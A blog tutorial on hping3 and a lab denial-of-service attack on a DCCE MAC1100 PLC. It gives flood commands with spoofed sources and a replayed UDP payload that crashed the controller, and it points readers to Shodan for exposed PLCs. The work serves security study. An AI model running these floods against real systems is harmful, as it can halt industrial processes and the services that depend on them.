摘要:在之前也用過Kali的hping3命令,但是沒有對其深入研究,在此筆者本着學習的態度借鑑了燈塔實驗室大佬們的思路,使用hping3命令對plc進行了DDoS攻擊實驗,藉此機會也對hping3命令進行了深入研究。hping3 -q -n -d 200 --icmp --flood -a 11.11.11.11 192.168.100.1 -q安靜模式 -n不解析域名 -a指定僞造IP。

一、前言

自從購買了PLC設備後,經常在網上搜索一些關於PLC的漏洞進行復現,但網上根本找不到漏洞相關的exp,只好自己摸着石頭過河。另外,下週正好也有工控的項目將要實施,利用週末的時間繼續展開研究吧,可謂臨近磨刀又快又光。

在之前也用過Kali的hping3命令,但是沒有對其深入研究,在此筆者本着學習的態度借鑑了燈塔實驗室大佬們的思路,使用hping3命令對plc進行了DDoS攻擊實驗,藉此機會也對hping3命令進行了深入研究。於是將研究過程和成果記錄下來,供大家學習與交流,技術菜、大佬勿噴、意見隨便留!

二、漏洞簡述

漏洞名稱:DCCE MAC1100 PLC存在拒絕服務漏洞

CNVD編號:CNVD-2018-19111

危害級別:高

漏洞描述:MAC1100 PLC是大連理工計算機控制工程有限公司生產的一款可編程邏輯控制器。DCCE MAC1100 PLC存在拒絕服務漏洞,攻擊者可通過非授權的構造特定的網絡數據包,利用漏洞導致PLC拒絕服務。

漏洞解決方案:廠商尚未提供漏洞修復方案,請關注廠商主頁更新: http://www.dcce.cn

漏洞鏈接: https://www.cnvd.org.cn/patchInfo/show/137915

三、Hping3簡介

Hping3是一款免費的數據包生成器和分析器。可用於安全審計、防火牆規則測試、網絡測試、端口掃描、性能測試,壓力測試(DOS),幾乎可以發送任意類型的TCP/IP數據包。功能強大但是每次只能向一個IP地址發送數據包,還能夠在兩個相互包含的通道之間傳送文件。

3.1 Hping3安裝

命令:apt install hping3

3.2 Hping3參數幫助:

-H --help 顯示幫助。
-v -VERSION 版本信息。
-c --count count 發送數據包的次數 關於countreached_timeout 可以在hping2.h裏編輯。
-i --interval 包發送間隔時間(單位是毫秒)缺省時間是1秒,此功能在增加傳輸率上很重要,在idle/spoofing掃描時此功能也會被用到,你可以參考hping-howto獲得更多信息-fast 每秒發10個數據包。
-n -nmeric 數字輸出,象徵性輸出主機地址。
-q -quiet 退出。
-I --interface interface name 無非就是eth0之類的參數。
-v --verbose 顯示很多信息,TCP回應一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 進入debug模式當你遇到麻煩時,比如用HPING遇到一些不合你習慣的時候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷鍵的使用。
-Z --unbind 消除快捷鍵。
-O --rawip RAWIP模式,在此模式下HPING會發送帶數據的IP頭。
-1 --icmp ICMP模式,此模式下HPING會發送IGMP應答報,你可以用--ICMPTYPE --ICMPCODE選項發送其他類型/模式的ICMP報文。
-2 --udp UDP 模式,缺省下,HPING會發送UDP報文到主機的0端口,你可以用--baseport --destport --keep選項指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING會接收指定的數據。
-a --spoof hostname 僞造IP攻擊,防火牆就不會記錄你的真實IP了,當然回應的包你也接收不到了。
-t --ttl time to live 可以指定發出包的TTL值。
-H --ipproto 在RAW IP模式裏選擇IP協議。
-w --WINID UNIX ,WINDIWS的id回應不同的,這選項可以讓你的ID回應和WINDOWS一樣。
-r --rel 更改ID的,可以讓ID曾遞減輸出,詳見HPING-HOWTO。
-F --FRAG 更改包的FRAG,這可以測試對方對於包碎片的處理能力,缺省的“virtual mtu”是16字節。
-x --morefrag 此功能可以發送碎片使主機忙於恢復碎片而造成主機的拒絕服務。
-y -dontfrag 發送不可恢復的IP碎片,這可以讓你瞭解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此項後ID數值變得很大,50000沒指定此項時3000-20000左右。
-G --rroute 記錄路由,可以看到詳悉的數據等等,最多可以經過9個路由,即使主機屏蔽了ICMP報文。
-C --ICMPTYPE type 指定ICMP類型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代號,缺省0。
--icmp-ipver 把IP版本也插入IP頭。
--icmp-iphlen 設置IP頭的長度,缺省爲5(32字節)。
--icmp-iplen 設置IP包長度。
--icmp-ipid 設置ICMP報文IP頭的ID,缺省是RANDOM。
--icmp-ipproto 設置協議的,缺省是TCP。
-icmp-cksum 設置校驗和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜測回應的包,它從一個基本端口計數,每收一個包,端口也加1,這規則你可以自己定義。
-p --deskport [+][+]desk port 設置目標端口,缺省爲0,一個加號設置爲:每發送一個請求包到達後,端口加1,兩個加號爲:每發一個包,端口數加1。
--keep 上面說過了。
-w --win 發的大小和windows一樣大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 設置TCP序列數。
-l --tcpck 設置TCP ack。
-Q --seqnum 蒐集序列號的,這對於你分析TCP序列號有很大作用。

3.3 Hping3測試

命令:hping3 -1 192.168.1.181(類似於ping命令)

3.4 單端口探測

命令:hping3 -I eth0 -p 22 -c 1 -S 192.168.100.104

SYN+ACK表示22端口開放

命令:hping3 -I eth0 -p 21 -c 1 -S 192.168.100.104

RST+ACK表示21端口關閉或被過濾

3.5 多端口探測

命令:hping3 -8 1-1024 192.168.100.102

3.6 文件傳輸

發送端:
hping3 -2 -p 1373 192.168.100.102 -d 100 -E test.txt
-2 UDP模式 -p端口
-d 數據大小 -E 文件名

接收端:
nc -lp 1373 -u -w 5 > recv.txt && cat recv.txt
-l 監聽模式 -p 端口
-w 超時時間 -u UDP模式

3.7 主機發現

雖然hping3一次只能掃描一個IP,但是我們可以結合shell腳本語言完成整個網段的掃描。下面使用for循環來實現:

for addr in $(seq 1 254);do hping3 10.211.55.$addr -c 1 –icmp & done

3.8 DDoS攻擊-Syn Flood攻擊

hping3 -c 1000 -d 120 -S -p 80 --flood --rand-source 192.168.100.1
-c 指定連接數 -p 目標端口
-d 指定數據部分的大小 -S 攻擊類型是Syn flood
--flood 以泛洪的方式攻擊 -–rand-source 隨機產生僞造源地址

-–rand-source 隨機產生僞造源地址

3.9 DDoS攻擊-TCP Flood攻擊

使用以下命令建立全連接:

hping3 -SARUPF -p 80 –-flood –-rand-source 192.168.100.1

3.10 DDoS攻擊-ICMP Flood攻擊

hping3 -q -n -d 200 --icmp --flood -a 11.11.11.11 192.168.100.1
-q安靜模式 -n不解析域名 -a指定僞造IP

3.11 DDoS攻擊-UDP Flood 攻擊

hping3 --udp -s 6666 -p 53 -a 8.8.8.8 --flood 192.168.100.1

3.12 DDoS攻擊-LAND攻擊

hping3 -n -S -p 80 -a 192.168.100.1 --flood 192.168.100.1

四、攻擊環境

攻擊機1:Win7 192.168.1.88

攻擊機2:Kali 192.168.1.182

靶機PLC:大工Mac1100系列 192.168.1.181

軟件:PLC_Config、Wireshark、Hping3、tcpdump

五、攻擊過程

1.首先要使得PLC_Config組態軟件連接PLC,具體步驟可參考《MAC系列可編程控制器使用手冊V2.0.pdf》

PDF下載鏈接: http://www.dcce.cn/DownLoadFiles/MAC%E7%B3%BB%E5%88%97%E5%8F%AF%E7%BC%96%E7%A8%8B%E6%8E%A7%E5%88%B6%E5%99%A8%E4%BD%BF%E7%94%A8%E6%89%8B%E5%86%8CV2.0.pdf

上圖可以看到PLC控制器已上線,讓PLC全速運行。

2.抓取關鍵通訊報文

此處我們以PLC程序下載的報文來進行DDoS攻擊,打開Wireshark進行抓包

Wireshark語法:udp and ip.src == 192.168.1.88 and ip.addr == 192.168.1.181

篩選出udp協議、源IP爲192.168.1.88、目的IP爲192.168.1.181的數據包

複製Data字段的Hex Stream:0c00478510000a0000009f0000000000

3.使用Hping3發起DDoS攻擊

Hping3命令:

hping3 -p 11000 -2 192.168.1.181 -e 0c00478510000a0000009f0000000000 –flood –rand-source

tcpdump抓包查看流量:

DDoS攻擊效果:

可見,PLC直接掉線,且無法恢復正常工作運行。

需斷電重啓後,PLC再次正常上線運行。

綜上,此實驗達到了PLC DDoS攻擊的效果。

六、總結

PLC 原本僅僅是爲自動化控制而開發,在其開發之初,其應用場景是極其封閉的,幾乎不能與工業內網外的任何第三方設備有所接觸,但是近幾年互聯網的迅猛發展,和物聯網、智能硬件的出現,開始逐漸有工業 PLC 暴露在公網之中,大家可以去seebug和shodan上搜索schneider或者siemens等廠商型號來發現公網上的plc設備。

儘管如此,目前PLC的安全性是十分十分差的。首先來說,plc的固件迭代更新緩慢,雖然廠商可能進行維護和更新,但是給工業控制網絡中的正在運行的線上plc更新固件,代價是異常巨大的,一次關機可能就是整個工廠的停止運行。其次,目前的plc已經有了一些比較低級的訪問控制手段,但是很少有人會主動開啓,因爲它會降低plc的運行效率和穩定性。 因此,一般來說,如果某個plc面向公網開放,我們可以向其加載任意代碼。

除了在權限控制上的嚴重問題,攻擊者有可能利用plc作爲一個進入生產網絡甚至公司內網的網關。

關於更多“PLC網絡安全防護技術”可以參考以下兩篇文章:

PLC信息安全防護技術研究(上篇) https://www.sohu.com/a/256459887_99909589

PLC信息安全防護技術研究(下篇) https://www.sohu.com/a/257654711_99909589

七、參考資料

hping3命令幫助文檔 https://wangchujiang.com/linux-command/c/hping3.html

hping3使用 https://mochazz.github.io/2017/07/23/hping3/

公網開放的plc設備 —— 一種新型的後門 – 路人甲 http://www.vuln.cn/6733

八、關聯閱讀

工控安全從入門到實戰——概述(一) https://mp.weixin.qq.com/s/JoBQ-RB5ANRrf2ic8ArDpQ

工控安全從入門到實戰——概述(二) https://mp.weixin.qq.com/s/G7E8dslSN5S3wk3RrJL8BQ

Siemens PLC指紋提取方法彙總 https://mp.weixin.qq.com/s/de3whqmwVtwWWZ8B6J7Zww

大工PLC PLC遠程啓停攻擊實驗 https://mp.weixin.qq.com/s/k9tSpQaaeJ7QKSa9cb_bWg

工控安全入門之攻與防 https://mp.weixin.qq.com/s/k4a4FgziQ3toTh5**-zNWA

Snort入侵檢測系統的應用 https://mp.weixin.qq.com/s/pjzYte3p-l1CoybGM1v0eQ

*本文作者:VllTomFord,轉載請註明來自FreeBuf.COM

相關文章